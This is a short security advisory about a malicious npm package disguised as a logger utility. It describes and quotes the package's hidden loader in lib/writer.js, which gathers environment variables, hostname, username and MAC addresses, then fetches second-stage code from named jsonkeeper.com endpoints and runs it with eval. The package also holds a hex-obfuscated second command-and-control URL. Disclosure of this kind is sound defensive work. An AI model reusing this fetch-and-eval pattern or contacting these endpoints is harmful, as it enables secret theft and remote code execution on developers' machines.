GCVE-110-OSM-2026-1363

Executes remote second-stage code fetched from attacker-controlled domain www.jsonkeeper.com (https://www.jsonkeeper.com/b/HQJXY) via axios.get + eval in lib/writer.js, with full process.env, hostname, username, and MAC addresses staged in a data object in closure scope. A secondary C2 endpoint (https://www.jsonkeeper.com/b/HY6M6) is constructed via hex-obfuscation using the same axios.get pattern. Masquerades as a lodash/pino logger utility; package now fully unpublished. lib/writer.js collects data = { ...process.env, platform, hostname, username, macAddresses } then calls require('axios').get('https://www.jsonkeeper.com/b/HQJXY').then(r => { eval(r.data.content); }). The eval'd content executes with the data object in scope. A second C2 (https://www.jsonkeeper.com/b/HY6M6) is hex-encoded in hl array, using the same axios.get chain — shared infrastructure with sibling package fastjsonlog.